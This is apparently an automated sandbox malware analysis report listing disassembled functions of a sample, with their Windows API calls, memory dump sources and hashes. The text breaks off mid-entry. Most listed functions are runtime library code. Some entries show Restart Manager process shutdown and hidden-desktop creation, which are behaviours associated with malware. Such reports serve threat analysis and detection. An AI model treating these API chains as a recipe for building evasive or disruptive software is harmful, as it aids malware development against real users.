Instruction Fuzzy Hash: EC8149B5900209EFCB05DFA4C984AAEBBF4FF49714F108169E915AB3C1E735A944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 07141C80 Relevance: 9.1, APIs: 6, Instructions: 138COMMON

Download Yara Rule

APIs

_Min_value.LIBCPMTD ref: 07141CEC
char_traits.LIBCPMTD ref: 07141CF5
_Min_value.LIBCPMTD ref: 07141D5C
char_traits.LIBCPMTD ref: 07141D65
_Min_value.LIBCPMTD ref: 07141DA6
char_traits.LIBCPMTD ref: 07141DAF

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Min_valuechar_traits
String ID:
API String ID: 2741276419-0
Opcode ID: 47890021ed3d6545500eae1c6e24e3ccb9958325c528a9b2668f758e45735e30
Instruction ID: 7e8528072749f6505ab8b6839c0e4e529711d1b14cad60d2d3b37441b148e323
Opcode Fuzzy Hash: 47890021ed3d6545500eae1c6e24e3ccb9958325c528a9b2668f758e45735e30
Instruction Fuzzy Hash: 445116F5E00209EFCF05DFA4C484AAEB7F5BF49300F1484A9D8569B291D730EA44DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 071109F0 Relevance: 9.1, APIs: 6, Instructions: 122COMMON

Download Yara Rule

APIs

RmStartSession.RSTRTMGR(?,00000000,?), ref: 07110A43
RmRegisterResources.RSTRTMGR(?,00000001,?,00000000,00000000,00000000,00000000,?), ref: 07110AD0
RmGetList.RSTRTMGR(?,00000000,00000000,?,?), ref: 07110B04
RmShutdown.RSTRTMGR(?,00000001,00000000), ref: 07110B2A
RmEndSession.RSTRTMGR(?), ref: 07110B55
SetLastError.KERNEL32(00000000), ref: 07110B5F

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Session$ErrorLastListRegisterResourcesShutdownStart
String ID:
API String ID: 3915309458-0
Opcode ID: 615c87355966894052e0b0a99b0e272a2c688b1d088dfbc7ee786570fe153f0c
Instruction ID: 7a7e194a5788f8f1fe8f7a35defa7b0aba67128325870432f8c78a43adac6fc1
Opcode Fuzzy Hash: 615c87355966894052e0b0a99b0e272a2c688b1d088dfbc7ee786570fe153f0c
Instruction Fuzzy Hash: 4A5104B4D00219EFDB14CF94D895BEEBBB4FB48704F10462AE515AB2C0D7B96A85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00AE77F0 Relevance: 9.1, APIs: 6, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AE7826
std::_Lockit::_Lockit.LIBCPMT ref: 00AE7848
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7868
__Getctype.LIBCPMT ref: 00AE7911
std::_Facet_Register.LIBCPMT ref: 00AE7930
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7948

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: 83c83b12c1eda63371010066e6c5b8b3c057c951ffccb1c1614b6473a1549cbb
Instruction ID: 3c97cfc0712b2b02bb45a6b48b296a47cb128a000fe9855090162f900671e1cf
Opcode Fuzzy Hash: 83c83b12c1eda63371010066e6c5b8b3c057c951ffccb1c1614b6473a1549cbb
Instruction Fuzzy Hash: C941C070D042999FCB15CF99DA85B6EBBB4EF10720F1442A9E805A7341EB30AE84CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 07149252 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,07148FCD,07145572,0714583D,?,07145A75,?,00000001,?,?,00000001,?,07174DC8,0000000C,07145B6E), ref: 07149260
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0714926E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 07149287
SetLastError.KERNEL32(00000000,07145A75,?,00000001,?,?,00000001,?,07174DC8,0000000C,07145B6E,?,00000001,?), ref: 071492D9

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d82300c5d347aa9107f7b9d9f9317fd81ddef6cbb77c5b5ca5253163dbbd75f2
Instruction ID: bc5789c5c1eeb0f94d546d87efd97dd5a504a167a359badf92f9525fb25f95de
Opcode Fuzzy Hash: d82300c5d347aa9107f7b9d9f9317fd81ddef6cbb77c5b5ca5253163dbbd75f2
Instruction Fuzzy Hash: DD0120F220C313AFEB2929B47C4DD9B3BD5FF52676B264329F420410D0EF656841C282

Uniqueness

Uniqueness Score: -1.00%

Function 00B228B3 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00B228E0
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00B228F5

Strings

KERNEL32.DLL, xrefs: 00B228C5
AcquireSRWLockExclusive, xrefs: 00B228DA
ReleaseSRWLockExclusive, xrefs: 00B228EA

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: AddressProc
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 190572456-1718035505
Opcode ID: c33b593784576715cb2d73367838957bf800c7deadd5c743e135040d0913ea1d
Instruction ID: e206755454f559688da9fcb6e8a02c07a47c59e736a6f5a8d86c12cf832966d5
Opcode Fuzzy Hash: c33b593784576715cb2d73367838957bf800c7deadd5c743e135040d0913ea1d
Instruction Fuzzy Hash: 2BF0C272A512327B4B3A0F643CC177E32C8EB02795B1042B9D809F7140EA10CCC993A2

Uniqueness

Uniqueness Score: -1.00%

Function 0715370A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,099AB7CE,?,?,00000000,071680D2,000000FF,?,071536A4,?,?,07153678,00000000), ref: 0715373F
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 07153751
FreeLibrary.KERNEL32(00000000,?,00000000,071680D2,000000FF,?,071536A4,?,?,07153678,00000000), ref: 07153773

Strings

CorExitProcess, xrefs: 07153749
mscoree.dll, xrefs: 07153738

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b89029f5203bc9f11e7745630f4b9ce8b8380677b3c94c9d4a681a0c786aa57d
Instruction ID: ff6bf09e3e6f27bbcf55a787ac1a958f8787eedb85a8056a0e7963d2a1287208
Opcode Fuzzy Hash: b89029f5203bc9f11e7745630f4b9ce8b8380677b3c94c9d4a681a0c786aa57d
Instruction Fuzzy Hash: A5018BF2944615EFDB169F54DC09BAEBBB8FB05B55F004529F821A22C0D779A940CA90

Uniqueness

Uniqueness Score: -1.00%

Function 07155368 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 071553ED
__alloca_probe_16.LIBCMT ref: 071554B6
__freea.LIBCMT ref: 0715551D

Part of subcall function 0715775B: HeapAlloc.KERNEL32(00000000,07135FE8,00000000,?,071454A8,07135FE8,?,07135FE8,00000000,?,071330C2), ref: 0715778D

__freea.LIBCMT ref: 07155530
__freea.LIBCMT ref: 0715553D

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 23ddfbe666ebe0ee63b1499152791f867358323c1dab243899192bc25aa2b660
Instruction ID: b914d212b57d73225603e06d85f2275cc750255a2d33c3a1745dde6233409902
Opcode Fuzzy Hash: 23ddfbe666ebe0ee63b1499152791f867358323c1dab243899192bc25aa2b660
Instruction Fuzzy Hash: B05192F2610206EFDB2A5E60DC85EBB7BBBEF45754F160028FD28961D1E770D9208661

Uniqueness

Uniqueness Score: -1.00%

Function 07144AB9 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 07144ACD
AcquireSRWLockExclusive.KERNEL32(07103250,?,07144A97,07103248,00000000,?,07103248,?,?,?,0712C2FF), ref: 07144AEC
AcquireSRWLockExclusive.KERNEL32(07103250,?,?,?,07144A97,07103248,00000000,?,07103248,?,?,?,0712C2FF), ref: 07144B1A
TryAcquireSRWLockExclusive.KERNEL32(07103250,?,?,?,07144A97,07103248,00000000,?,07103248,?,?,?,0712C2FF), ref: 07144B75
TryAcquireSRWLockExclusive.KERNEL32(07103250,?,?,?,07144A97,07103248,00000000,?,07103248,?,?,?,0712C2FF), ref: 07144B8C

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 603bcd26389c9c356ad8d33bec2a0c6da12ca0d797436176436ddbb120ee423b
Instruction ID: 572d56dd42c820ca3c494274db1c8d3b8b02efea188107f09236406d1f7710fd
Opcode Fuzzy Hash: 603bcd26389c9c356ad8d33bec2a0c6da12ca0d797436176436ddbb120ee423b
Instruction Fuzzy Hash: 0D416AF0900687DFCB25CFA5C581BAAB3F9FF04211B514A6DD85697AC0D730E685CB51

Uniqueness

Uniqueness Score: -1.00%

Function 071312B0 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 071312D7
int.LIBCPMTD ref: 071312F0

Part of subcall function 071029D0: std::_Lockit::_Lockit.LIBCPMT ref: 071029E6
Part of subcall function 071029D0: std::_Lockit::~_Lockit.LIBCPMT ref: 07102A10

Concurrency::cancel_current_task.LIBCPMTD ref: 07131337
std::_Lockit::~_Lockit.LIBCPMT ref: 071313C2

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: 4a2868f96c13324c308679941acb565247d1885ceaf90cda9462a64d3d43f4b6
Instruction ID: ea40d79c61eedc516c7f9605310c5f132a2c3eb65745d0cb6eeed4f835c25566
Opcode Fuzzy Hash: 4a2868f96c13324c308679941acb565247d1885ceaf90cda9462a64d3d43f4b6
Instruction Fuzzy Hash: 9041B1B4D0460DEFCB04DF98D994AEEBBB1BF49310F208219E815A7390DB746A41CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0713D1F0 Relevance: 7.6, APIs: 6, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0713D20F
HeapFree.KERNEL32(00000000,00000000,?), ref: 0713D219
GetProcessHeap.KERNEL32(00000000,?), ref: 0713D23B
HeapAlloc.KERNEL32(00000000), ref: 0713D242
GetProcessHeap.KERNEL32 ref: 0713D26E
HeapFree.KERNEL32(00000000,00000000,?), ref: 0713D278

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Heap$Process$Free$Alloc
String ID:
API String ID: 3689955550-0
Opcode ID: 85c761e9fd8520d14e1009361c6d5264949bba87383424bf61f4c3b1f8f2182c
Instruction ID: fb82bc0f527b1b3ecfe13450ae36b18b7b8fea9945738dae77881defc407b6ee
Opcode Fuzzy Hash: 85c761e9fd8520d14e1009361c6d5264949bba87383424bf61f4c3b1f8f2182c
Instruction Fuzzy Hash: 3A11C1F6201312ABDB119FA8E848B96FB6CFF15331F10012AF9199B2C0CB75A451CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 0714480F Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 07144816
std::_Lockit::_Lockit.LIBCPMT ref: 07144821
std::_Lockit::~_Lockit.LIBCPMT ref: 0714488F

Part of subcall function 07144972: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0714498A

std::locale::_Setgloballocale.LIBCPMT ref: 0714483C
_Yarn.LIBCPMT ref: 07144852

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 02655b8695c0910c0bb8db8e29c8d37457f3c8f0cde115f42c1978665c93c5ad
Instruction ID: 9960fc971fca9b3b0d6364a20598e241a99d60b495fc3aa2a2fec33d28b21e7e
Opcode Fuzzy Hash: 02655b8695c0910c0bb8db8e29c8d37457f3c8f0cde115f42c1978665c93c5ad
Instruction Fuzzy Hash: CD018FF5A00192DBDB0AEF60D955A7DBBB6FF89650B18404DDC115B3C0CF38AA56CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00AD7080 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 387COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00AD71FE

Strings

ror, xrefs: 00AD729F
ange, xrefs: 00AD70AF

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: ___std_exception_copy
String ID: ange$ror
API String ID: 2659868963-3263327236
Opcode ID: a17b94337fb57bad9d6e8f9941ea6895b507f032b8c9b6206367889507d7ad17
Instruction ID: d3afb774e0816a1c9b4fdb59deddf56d35a98caa1d50b70df61d91b0f9d33cd6
Opcode Fuzzy Hash: a17b94337fb57bad9d6e8f9941ea6895b507f032b8c9b6206367889507d7ad17
Instruction Fuzzy Hash: F4D1D2B1D002489BDB18CFA8DD847ADBBB1FF85304F14835AF4556B791E7749A848B90

Uniqueness

Uniqueness Score: -1.00%

Function 00AD6A30 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 183COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00AD6C3E
___std_exception_destroy.LIBVCRUNTIME ref: 00AD6C4D

Strings

at line , xrefs: 00AD6A88
, column , xrefs: 00AD6AD2

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: at line $, column
API String ID: 4194217158-191570568
Opcode ID: 87f0d55cc136091734bd22276d8f334c54a6779d3a98bc323fa2ad9b640f2ba4
Instruction ID: c4634449fa4cb39145d88c3bc4f75ee9ed6cf0ce2a69c99994e8ed6bdc25f039
Opcode Fuzzy Hash: 87f0d55cc136091734bd22276d8f334c54a6779d3a98bc323fa2ad9b640f2ba4
Instruction Fuzzy Hash: 46512671D002489FDB08DF68DE857AEFBB5EF55300F14835AF416AB792D774AA808790

Uniqueness

Uniqueness Score: -1.00%

Function 00AD4670 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00AD470F

Strings

ios_base::failbit set, xrefs: 00AD45C8, 00AD46B1
ios_base::eofbit set, xrefs: 00AD46B6
ios_base::badbit set, xrefs: 00AD46A7, 00AD46D2, 00AD46F3

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID: ___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2659868963-1866435925
Opcode ID: 7053c069c4ee871136dbeb37ecc296f8dc587d14890d674baafde8131d4160bc
Instruction ID: 70937a8546f8a4d6079799caaf12adb9bd8fa702b696b2a77cde568a7ea2058e
Opcode Fuzzy Hash: 7053c069c4ee871136dbeb37ecc296f8dc587d14890d674baafde8131d4160bc
Instruction Fuzzy Hash: F211B4B29107196BCB10DF58D802B96B3E8EF49310F44862BFA5ADB341F770E914CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0713E930 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,-0000001C,00000000,?,?,0713EA79,00000000), ref: 0713E953
HeapAlloc.KERNEL32(00000000,?,-0000001C,00000000,?,?,0713EA79,00000000), ref: 0713E959
std::bad_exception::bad_exception.LIBCMT ref: 0713E993

Strings

length, xrefs: 0713E98B

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Heap$AllocProcessstd::bad_exception::bad_exception
String ID: length
API String ID: 1424189516-25009842
Opcode ID: 72d47a610e6d1993dcdecfd13bb801c6623aaadc6790444f538ac35189986693
Instruction ID: 721b5f8528c62ea9b75845d45957a3df747250ba98e790d4978869d508de70f5
Opcode Fuzzy Hash: 72d47a610e6d1993dcdecfd13bb801c6623aaadc6790444f538ac35189986693
Instruction Fuzzy Hash: A101B1F8E1020A9BE719EFA8DC01B9AB77DEF44610F448A65E514DB2C1EB70E94487D2

Uniqueness

Uniqueness Score: -1.00%

Function 0714A3A7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0714A358,00000000,?,00000001,?,?,?,0714A447,00000001,FlsFree,0716AFC8,FlsFree), ref: 0714A3B4
GetLastError.KERNEL32(?,0714A358,00000000,?,00000001,?,?,?,0714A447,00000001,FlsFree,0716AFC8,FlsFree,00000000,?,0714935E), ref: 0714A3BE
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0714A3E6

Strings

api-ms-, xrefs: 0714A3CB

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: b4c9ebc58c3271a6ba8462a93b23a2f519597b4deb3fc607ec0c708330620779
Instruction ID: db04f8e06aa7336fa84e7df3bc3f36eb473ef4b3f1d7c8e5f082e19b1c1934e1
Opcode Fuzzy Hash: b4c9ebc58c3271a6ba8462a93b23a2f519597b4deb3fc607ec0c708330620779
Instruction Fuzzy Hash: B5E048F06C0209FBEF111A61DC0AB593A59DF01A61F608420FE0CE40D0EB7AA4908645

Uniqueness

Uniqueness Score: -1.00%

Function 0713D4B0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernelbase.dll), ref: 0713D4B8
GetProcAddress.KERNEL32(00000000,RaiseFailFastException), ref: 0713D4C4

Strings

RaiseFailFastException, xrefs: 0713D4BE
kernelbase.dll, xrefs: 0713D4B3

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: RaiseFailFastException$kernelbase.dll
API String ID: 1646373207-919018592
Opcode ID: 6c7a939a8e5afb017a58f78b442ec0f2560d2bc54939499325f5214788d30074
Instruction ID: d17fe5fe8fa1c8ecd48c363d453228de17d3209020c6e70bf6feebc07596242a
Opcode Fuzzy Hash: 6c7a939a8e5afb017a58f78b442ec0f2560d2bc54939499325f5214788d30074
Instruction Fuzzy Hash: 3BC08CB62C830CB7D7002BE2B80FE3A3BACA740A21340405DF401C58C1CB67A054D162

Uniqueness

Uniqueness Score: -1.00%

Function 07158AD0 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(099AB7CE,00000000,00000000,0714AE13), ref: 07158B33

Part of subcall function 0715C820: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,07155513,?,00000000,-00000008), ref: 0715C881

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 07158D85
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 07158DCB
GetLastError.KERNEL32 ref: 07158E6E

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 38d54bb4fdb7329e746b6634288588972a7723587e392ebdba2dcedf3e4c4443
Instruction ID: 6ceeefd6c7a01f56d81e8e3e7096f44d82877dfc0d251ba5d8a69eda8235a441
Opcode Fuzzy Hash: 38d54bb4fdb7329e746b6634288588972a7723587e392ebdba2dcedf3e4c4443
Instruction Fuzzy Hash: DED15AB5D00259DFCB19CFA8D880AEDBBB5EF09314F24856AE825EB291D734A941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 07149369 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 07149430
___AdjustPointer.LIBCMT ref: 07149453
___AdjustPointer.LIBCMT ref: 071494EF

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: c096819a48db7a2abf3e04ac710f509ff04ad4e379cfa40c20fbf8fb0a0a8894
Instruction ID: 507c0d97db1c24cce12a71cf7d548803d97a742c90bd8803deebe7e37ceca6ee
Opcode Fuzzy Hash: c096819a48db7a2abf3e04ac710f509ff04ad4e379cfa40c20fbf8fb0a0a8894
Instruction Fuzzy Hash: ED519CF2604206EFDB2A8F24DA40BAB77B4FF45624F19416DE946872D0D735F880CB90

Uniqueness

Uniqueness Score: -1.00%

Function 07140390 Relevance: 6.2, APIs: 4, Instructions: 151COMMON

Download Yara Rule

APIs

Part of subcall function 07103230: std::_Throw_Cpp_error.LIBCPMT ref: 07103251
Part of subcall function 07103230: std::_Throw_Cpp_error.LIBCPMT ref: 07103285

_Min_value.LIBCPMTD ref: 07140426
char_traits.LIBCPMTD ref: 0714042F
OpenDesktopA.USER32(?,00000001,00000001,10000000), ref: 0714047E
CreateDesktopA.USER32(?,00000000,00000000,00000001,10000000,00000000), ref: 071404ED

Memory Dump Source

